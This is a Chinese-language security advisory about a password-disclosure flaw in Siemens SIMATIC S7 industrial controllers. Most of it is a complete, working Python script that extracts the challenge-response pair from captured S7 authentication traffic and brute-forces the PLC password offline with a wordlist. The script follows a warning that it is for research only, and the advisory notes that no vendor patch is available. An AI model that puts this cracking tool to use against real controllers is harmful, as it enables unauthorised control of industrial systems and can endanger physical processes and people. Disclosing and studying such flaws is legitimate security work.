发布日期:2013-01-16
更新日期:2013-01-22受影响系统:
Siemens SIMATIC S7 PLC Systems
描述:
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BUGTRAQ ID: 57439
Siemens SIMATIC S7 Programmable Logic Controllers (PLC)是模块化PLC控制器。
Siemens SIMATIC S7 Programmable Logic Controllers (PLC)系统在实现上存在密码泄露漏洞,攻击者可利用此漏洞获取设备密码凭证。
S7协议是SCADA、HMI和PLC之间的通信协议,该协议的数据传输受密码保护。Alexander Timorin发布了一个针对该协议的离线的密码暴力破解工具,该工具在S7协议的auth数据包中取得challenge-response数据,在此基础上进行离线的对密码的暴力破解。
<*来源:Alexander Timorin
链接:http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-13-016-02.pdf
http://scadastrangelove.blogspot.com/2013/01/s7brut.html
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Alexander Timorin ()提供了如下测试方法:
"""
File: s7-brute-offline.py
Desc: offline password bruteforsing based on challenge-response data, extracted from auth traffic dump file
Alexander Timorin, Dmitry Sklyarov
http://scadastrangelove.org
Version: 0.1 (just for demo, don"t kick my ass plz)
"""
import sys
import hashlib
import hmac
from binascii import hexlify
try:
from scapy.all import *
except ImportError:
print "please install scapy: http://www.secdev.org/projects/scapy/ "
sys.exit()
cfg_pcap_file = "/root/siemens/RE_S7/stop_cpu_cmd_right_pass_123.pcap"
cfg_dictionary_file = "dict.txt"
def get_challenge_response():
r = rdpcap(cfg_pcap_file)
lens = map(lambda x: x.len, r)
pckt_lens = dict([(i, lens[i]) for i in range(0,len(lens))])
# try to find challenge packet
pckt_108 = 0 #challenge packet (from server)
for (pckt_indx, pckt_len) in pckt_lens.items():
if pckt_len+14 == 108 and hexlify(r[pckt_indx].load)[14:24] == "7202002732":
pckt_108 = pckt_indx
break
# try to find response packet
pckt_141 = 0 #response packet (from client)
_t1 = dict([ (i, lens[i]) for i in pckt_lens.keys()[pckt_108:] ])
for pckt_indx in sorted(_t1.keys()):
pckt_len = _t1[pckt_indx]
if pckt_len+14 == 141 and hexlify(r[pckt_indx].load)[14:24] == "7202004831":
pckt_141 = pckt_indx
break
# try to find auth result packet
pckt_84 = 0 # auth answer from plc: pckt_len==84 -> auth ok
pckt_92 = 0 # auth answer from plc: pckt_len==92 -> auth bad
for pckt_indx in sorted(_t1.keys()):
pckt_len = _t1[pckt_indx]
if pckt_len+14 == 84 and hexlify(r[pckt_indx].load)[14:24] == "7202000f32":
pckt_84 = pckt_indx
break
if pckt_len+14 == 92 and hexlify(r[pckt_indx].load)[14:24] == "7202001732":
pckt_92 = pckt_indx
break
print "found packets indeces: pckt_108=%d, pckt_141=%d, pckt_84=%d, pckt_92=%d" % (pckt_108, pckt_141, pckt_84, pckt_92)
if pckt_84:
print "auth ok"
else:
print "auth bad. for brute we need right auth result. exit"
sys.exit()
challenge = None
response = None
raw_challenge = hexlify(r[pckt_108].load)
if raw_challenge[46:52] == "100214" and raw_challenge[92:94] == "00":
challenge = raw_challenge[52:92]
print "found challenge: %s" % challenge
else:
print "cannot find challenge. exit"
sys.exit()
raw_response = hexlify(r[pckt_141].load)
if raw_response[64:70] == "100214" and raw_response[110:112] == "00":
response = raw_response[70:110]
print "found response: %s" % response
else:
print "cannot find response. exit"
sys.exit()
return challenge, response
def calculate_s7response(password, challenge):
challenge = challenge.decode("hex")
return hmac.new( hashlib.sha1(password).digest(), challenge, hashlib.sha1).hexdigest()
if __name__ == "__main__":
print "using pcap file: %s" % cfg_pcap_file
challenge, response = get_challenge_response()
print "start password bruteforsing ..."
for p in open(cfg_dictionary_file):
p = p.strip()
if response == calculate_s7response(p, challenge):
print "found password: %s" % p
sys.exit()
print "password not found. try another dictionary."建议:
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厂商补丁:
Siemens
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.siemens.com/corporate-technology/pool/Drupal Live CSS模块任意文件上传漏洞PrestaShop Canada Post模块安全绕过漏洞相关资讯 密码泄露漏洞
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